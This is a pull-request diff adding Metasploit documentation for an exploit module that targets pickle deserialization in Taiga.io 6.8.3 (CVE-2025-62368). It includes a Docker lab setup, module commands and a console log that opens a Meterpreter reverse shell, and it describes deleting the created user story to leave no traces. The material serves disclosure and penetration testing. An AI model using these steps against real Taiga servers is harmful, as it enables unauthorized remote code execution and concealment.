Skip to content
Open
Show file tree
Hide file tree
Changes from 3 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
319 changes: 319 additions & 0 deletions documentation/modules/exploit/multi/http/taiga_tribe_gig_unserial.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,319 @@
## Description

This module exploits an authenticated unserialize vulnerability that allows to execute
commands remotely. This vulnerability affects Taiga.io <= 6.8.3 and is fixed in 6.9.0.

By creating userstories in the kanban-board, the parameter tribe_gig will be unserialized using python pickle. Using a special crafted value for
`tribe_gig` this vulnerability leads to authenticated remote python code execution. This exploits automatically deletes the created user-story in
order to leave no unnecessary traces.

More about the vulnerability detail: [CVE-2025-62368](https://github.com/taigaio/taiga-back/security/advisories/GHSA-cpcf-9276-fwc5).

The module will automatically use `python/meterpreter/reverse_tcp` payload.

The module will check if the target is vulnerable, by sending a sleep command. Please note that the user needs to have at least one project with kanban enabled. The exploit will automatically search for an existing project that has the kanban functionality enabled.

## Vulnerable Application

[Taiga.io](https://www.taiga.io/) is a free open-source project management tool for agile teams.

This module has been tested successfully on Taiga.io versions:

* taiga-back versions 6.8.3

### Source and Installers

* [Source Code Repository](https://github.com/taigaio/taiga-back/releases/tag/6.8.3)
* [Docker](https://github.com/taigaio/taiga-docker.git)

### Docker Installation

This exploit was tested using a [taiga.io docker container](https://github.com/taigaio/taiga-docker.git) and [docker-compose](https://docs.docker.com/compose/).
First the [taiga.io docker container](https://github.com/taigaio/taiga-docker.git) was downloaded: `git clone https://github.com/taigaio/taiga-docker.git`.
Next the tag 6.8.3 was added to the `taiga-back` image in docker-compose.yml:

```yaml
version: "3.5"

x-environment:
&default-back-environment
# These environment variables will be used by taiga-back and taiga-async.
# Database settings
POSTGRES_DB: "taiga"
POSTGRES_USER: "${POSTGRES_USER}"
POSTGRES_PASSWORD: "${POSTGRES_PASSWORD}"
POSTGRES_HOST: "taiga-db"
# Taiga settings
TAIGA_SECRET_KEY: "${SECRET_KEY}"
TAIGA_SITES_SCHEME: "${TAIGA_SCHEME}"
TAIGA_SITES_DOMAIN: "${TAIGA_DOMAIN}"
TAIGA_SUBPATH: "${SUBPATH}"
# Email settings.
EMAIL_BACKEND: "django.core.mail.backends.${EMAIL_BACKEND}.EmailBackend"
DEFAULT_FROM_EMAIL: "${EMAIL_DEFAULT_FROM}"
EMAIL_USE_TLS: "${EMAIL_USE_TLS}"
EMAIL_USE_SSL: "${EMAIL_USE_SSL}"
EMAIL_HOST: "${EMAIL_HOST}"
EMAIL_PORT: "${EMAIL_PORT}"
EMAIL_HOST_USER: "${EMAIL_HOST_USER}"
EMAIL_HOST_PASSWORD: "${EMAIL_HOST_PASSWORD}"
# Rabbitmq settings
RABBITMQ_USER: "${RABBITMQ_USER}"
RABBITMQ_PASS: "${RABBITMQ_PASS}"
# Telemetry settings
ENABLE_TELEMETRY: "${ENABLE_TELEMETRY}"
# ...your customizations go here

x-volumes:
&default-back-volumes
# These volumens will be used by taiga-back and taiga-async.
- taiga-static-data:/taiga-back/static
- taiga-media-data:/taiga-back/media
# - ./config.py:/taiga-back/settings/config.py

services:
taiga-db:
image: postgres:12.3
environment:
POSTGRES_DB: "taiga"
POSTGRES_USER: "${POSTGRES_USER}"
POSTGRES_PASSWORD: "${POSTGRES_PASSWORD}"
healthcheck:
test: ["CMD-SHELL", "pg_isready -U ${POSTGRES_USER}"]
interval: 2s
timeout: 15s
retries: 5
start_period: 3s
volumes:
- taiga-db-data:/var/lib/postgresql/data
networks:
- taiga

taiga-back:
image: taigaio/taiga-back:6.8.3
environment: *default-back-environment
volumes: *default-back-volumes
networks:
- taiga
depends_on:
taiga-db:
condition: service_healthy
taiga-events-rabbitmq:
condition: service_started
taiga-async-rabbitmq:
condition: service_started

taiga-async:
image: taigaio/taiga-back:6.8.3
entrypoint: ["/taiga-back/docker/async_entrypoint.sh"]
environment: *default-back-environment
volumes: *default-back-volumes
networks:
- taiga
depends_on:
taiga-db:
condition: service_healthy
taiga-events-rabbitmq:
condition: service_started
taiga-async-rabbitmq:
condition: service_started

taiga-async-rabbitmq:
image: rabbitmq:3.8-management-alpine
environment:
RABBITMQ_ERLANG_COOKIE: "${RABBITMQ_ERLANG_COOKIE}"
RABBITMQ_DEFAULT_USER: "${RABBITMQ_USER}"
RABBITMQ_DEFAULT_PASS: "${RABBITMQ_PASS}"
RABBITMQ_DEFAULT_VHOST: "${RABBITMQ_VHOST}"
hostname: "taiga-async-rabbitmq"
volumes:
- taiga-async-rabbitmq-data:/var/lib/rabbitmq
networks:
- taiga

taiga-front:
image: taigaio/taiga-front:latest
environment:
TAIGA_URL: "${TAIGA_SCHEME}://${TAIGA_DOMAIN}"
TAIGA_WEBSOCKETS_URL: "${WEBSOCKETS_SCHEME}://${TAIGA_DOMAIN}"
TAIGA_SUBPATH: "${SUBPATH}"
# ...your customizations go here
networks:
- taiga
# volumes:
# - ./conf.json:/usr/share/nginx/html/conf.json

taiga-events:
image: taigaio/taiga-events:latest
environment:
RABBITMQ_USER: "${RABBITMQ_USER}"
RABBITMQ_PASS: "${RABBITMQ_PASS}"
TAIGA_SECRET_KEY: "${SECRET_KEY}"
networks:
- taiga
depends_on:
taiga-events-rabbitmq:
condition: service_started

taiga-events-rabbitmq:
image: rabbitmq:3.8-management-alpine
environment:
RABBITMQ_ERLANG_COOKIE: "${RABBITMQ_ERLANG_COOKIE}"
RABBITMQ_DEFAULT_USER: "${RABBITMQ_USER}"
RABBITMQ_DEFAULT_PASS: "${RABBITMQ_PASS}"
RABBITMQ_DEFAULT_VHOST: "${RABBITMQ_VHOST}"
hostname: "taiga-events-rabbitmq"
volumes:
- taiga-events-rabbitmq-data:/var/lib/rabbitmq
networks:
- taiga

taiga-protected:
image: taigaio/taiga-protected:latest
environment:
MAX_AGE: "${ATTACHMENTS_MAX_AGE}"
SECRET_KEY: "${SECRET_KEY}"
networks:
- taiga

taiga-gateway:
image: nginx:1.19-alpine
ports:
- "9000:80"
volumes:
- ./taiga-gateway/taiga.conf:/etc/nginx/conf.d/default.conf
- taiga-static-data:/taiga/static
- taiga-media-data:/taiga/media
networks:
- taiga
depends_on:
- taiga-front
- taiga-back
- taiga-events

volumes:
taiga-static-data:
taiga-media-data:
taiga-db-data:
taiga-async-rabbitmq-data:
taiga-events-rabbitmq-data:

networks:
taiga:
```

The file `.env` was also modified so that the variable `TAIGA_DOMAIN` points to the IP-address to the server:

```
# Taiga's URLs - Variables to define where Taiga should be served
TAIGA_SCHEME=http # serve Taiga using "http" or "https" (secured) connection
TAIGA_DOMAIN=192.168.233.117:9000 # Taiga's base URL
SUBPATH="" # it'll be appended to the TAIGA_DOMAIN (use either "" or a "/subpath")
WEBSOCKETS_SCHEME=ws # events connection protocol (use either "ws" or "wss")

# Taiga's Secret Key - Variable to provide cryptographic signing
SECRET_KEY="taiga-secret-key" # Please, change it to an unpredictable value!!

# Taiga's Database settings - Variables to create the Taiga database and connect to it
POSTGRES_USER=taiga # user to connect to PostgreSQL
POSTGRES_PASSWORD=taiga # database user's password

# Taiga's SMTP settings - Variables to send Taiga's emails to the users
EMAIL_BACKEND=console # use an SMTP server or display the emails in the console (either "smtp" or "console")
EMAIL_HOST=smtp.host.example.com # SMTP server address
EMAIL_PORT=587 # default SMTP port
EMAIL_HOST_USER=user # user to connect the SMTP server
EMAIL_HOST_PASSWORD=password # SMTP user's password
EMAIL_DEFAULT_FROM=changeme@example.com # default email address for the automated emails
# EMAIL_USE_TLS/EMAIL_USE_SSL are mutually exclusive (only set one of those to True)
EMAIL_USE_TLS=True # use TLS (secure) connection with the SMTP server
EMAIL_USE_SSL=False # use implicit TLS (secure) connection with the SMTP server

# Taiga's RabbitMQ settings - Variables to leave messages for the realtime and asynchronous events
RABBITMQ_USER=taiga # user to connect to RabbitMQ
RABBITMQ_PASS=taiga # RabbitMQ user's password
RABBITMQ_VHOST=taiga # RabbitMQ container name
RABBITMQ_ERLANG_COOKIE=secret-erlang-cookie # unique value shared by any connected instance of RabbitMQ

# Taiga's Attachments - Variable to define how long the attachments will be accesible
ATTACHMENTS_MAX_AGE=360 # token expiration date (in seconds)

# Taiga's Telemetry - Variable to enable or disable the anonymous telemetry
ENABLE_TELEMETRY=False
```

**_NOTE:_** Change the IP-address for TAIGA_DOMAIN for your setup

After starting the container with `./launch-taiga.sh` we also have to create an admin account using: `./taiga-manage.sh createsuperuser`.

Now open a browser and navigate to: `http://192.168.233.117:9000` (use your IP-address), login as admin and create a project(select KANBAN). Provide any project-name and any project-description, select "Public Project" and create the project.

**_NOTE:_** This exploit works needs permissions to create user-stories. Therefore it works as a normal project member or as admin.

## Verification Steps

1. Do: `use exploit/multi/http/taiga_tribe_gig_unserial`
2. Do: `set RHOSTS [ips]`
3. Do: `set LHOST [lhost]`
4. Do: `set RPORT 9000`
5. Do: `set USERNAME admin`
6. Do: `set PASSWORD admin`
7. Do: `set SSL false`
8. Do: `run`
9. You should get a shell after a while

## Options

### TARGETURI

Remote web path to the taiga installation (default: /)

### USERNAME

The any existing username to authenticate to taiga. (Needs permissions on a project to create user-stories)

### PASSWORD

The password for the user.

### SSL

Use SSL to access the taiga-server (default: true)

## Scenarios

In this scenario the taiga-server has the IP address `192.168.233.117`. User `admin` exists with password `admin` and
a kanban project was already created in taiga and user admin is allowed to create userstories for that project.

### Taiga 6.8.3(docker-compose):

The following demo shows how to use the exploit:

```
msf > use exploit/multi/http/taiga_tribe_gig_unserial
[*] Using configured payload python/meterpreter/reverse_tcp
msf exploit(multi/http/taiga_tribe_gig_unserial) > set RHOSTS 192.168.233.117
RHOSTS => 192.168.233.117
msf exploit(multi/http/taiga_tribe_gig_unserial) > set RPORT 9000
RPORT => 9000
msf exploit(multi/http/taiga_tribe_gig_unserial) > set LHOST 192.168.233.117
LHOST => 192.168.233.117
msf exploit(multi/http/taiga_tribe_gig_unserial) > set USERNAME admin
USERNAME => admin
msf exploit(multi/http/taiga_tribe_gig_unserial) > set PASSWORD admin
PASSWORD => admin
msf exploit(multi/http/taiga_tribe_gig_unserial) > set SSL false
[!] Changing the SSL option's value may require changing RPORT!
SSL => false
msf exploit(multi/http/taiga_tribe_gig_unserial) > run
[*] Started reverse TCP handler on 192.168.233.117:4444
[*] Sending payload..
[*] Sending stage (23408 bytes) to 172.20.0.8
[+] Payload sent
[*] Cleanup..
[+] Userstory deleted
[*] Meterpreter session 1 opened (192.168.233.117:4444 -> 172.20.0.8:39148) at 2025-11-08 15:26:54 +0000

meterpreter > getuid
Server username: taiga
```
Loading